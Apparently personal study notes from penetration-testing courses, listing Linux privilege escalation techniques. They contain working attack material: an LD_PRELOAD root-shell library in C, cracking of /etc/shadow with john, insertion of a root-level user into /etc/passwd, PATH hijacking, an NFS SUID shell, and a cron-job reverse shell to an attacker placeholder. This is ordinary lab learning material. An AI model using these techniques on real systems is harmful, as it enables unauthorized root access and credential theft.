Linux Privilege Escalation

Tools

• LinPEAS: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
• LinEnum: https://github.com/rebootuser/LinEnum.git
• linuxprivchecker: https://github.com/sleventyeleven/linuxprivchecker
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
• Linpill: https://academy.hackthebox.com/app/module/296/section/3399 resources section. Pillaging script : overview of what exists on the system.

Enumeration

OS Enumeration

uname -a : Additional detail about the kernel.
uname -r : Print the version of linux.
cat /proc/version : Info on system processes. Check if GCC is there or not
cat /etc/issue : Info about the OS
dpkg -l : Installed packages in system
ps aux
ps axjf
    -a : From all users
    -u : User that launched the process
    -x : Processes not attached to terminal
    -j : Jobs format output
    -f : Forest/tree view

User Enumeration

id : Overview of user's privilege level and group memberships
sudo -l : list all commands a user can run using sudo
cat /etc/passwd | grep home : Shows the users that have home folder.

File Enumeration

find / -type f -perm 0777 : Files with the 777 permissions (files readable, writable, and executable by all users)
find / -perm a=x : Executable files
writable folders:
    find / -writable -type d 2>/dev/null
    find / -perm -o w -type d 2>/dev/null
Executable folders     find / -perm -o x -type d 2>/dev/null
Files with SUID bit set
find / -perm -u=s -type f -ls 2>/dev/null

Kernel Exploits

Be very specific about the kernel version when searching for exploits on Google, Exploit-db, or searchsploit. Some exploit codes can make irreversible changes to the system.
To transfer the exploit code: Use SimpleHTTPServer Python module and wget.
python3 -m http.server

Sudo

• To check programs that can be run as root user:
sudo -l
GTFOBins : https://gtfobins.github.io/ : how a program that has sudo or suid rights, can be used to get root shell.

LD_PRELOAD:
• "env_keep" option must be enabled.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
• Use this with any program that can be run as sudo.
sudo LD_PRELOAD=/home/[user]/ldpreload/shell.so [command]

SUID

• List files that have SUID or SGID bits set:
find / -type f -perm -04000 -ls 2>/dev/null
• Use GTFOBins to see if any program can be exploited with SUID.
• Base64, vim, nano can be used to read root files: /etc/shadow and /etc/passwd
2 approaches: Crack /etc/shadow or add user in /etc/passwd
• With these, we can crack the password using john:
unshadow passwd.txt shadow.txt > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
• Replace the root user
• Hash the password value of new user
openssl passwd -1 -salt THM password1
• Add this password with username to /etc/passwd using the program that has SUID bit set.
[username]:[password_hash]:0:0:/root:/bin/bash
Eg: bob:$1$THM$S9Z0Kn20KzerqwdU.hF40/:0:0:/root:/bin/bash
su [username]
• Enter the password

PATH

• We must have an SUID binary already with root privileges (custom binary). Extract the strings of it
strings [binary]
If there is a command that it runs without absolute path eg: whoami or ls etc., we can hijack it the $PATH env variable.
• This command should be noted down.
• First find writable folders:
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
Easiest folder to write to: /tmp
• Export it to the PATH if it is not
export PATH=/tmp:$PATH
• Create an executable script in the writable folder:
echo "/bin/bash" > [command_found_above]
chmod 777 [command_found_above]
• Finally, run the SUID binary from the beginning to obtain the shell:
./[binary]

Capabilities

To list capabilities:
getcap -r / 2>/dev/null
Use GTFOBins to exploit it.

Privilege Escalation: Cron Jobs

To list the cron jobs:
cat /etc/crontab
Modify the script to send a reverse shell back:
#!/bin/bash
bash -i >& /dev/tcp/[attacker_ip]/[PORT] 0>&1

Privilege Escalation: NFS

To see if network file sharing is enabled:
cat /etc/exports
"no_root_squash" must be present
Start by enumerating mountable shares from our attacking machine:
showmount -e [target_IP]
Create a directory in your machine and mount it to the target's nfs folder:
mkdir /tmp/backupattack
mount -o rw [target_IP]:/[nfs_folder] /tmp/backupattack
Script that runs /bin/bash on the target system:
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
Compile the code and set the SUID bit:
gcc nfs.c -o nfs
chmod +s nfs
This will be visible in [nfs_folder] in the target machine
 Run the file and you have your root shell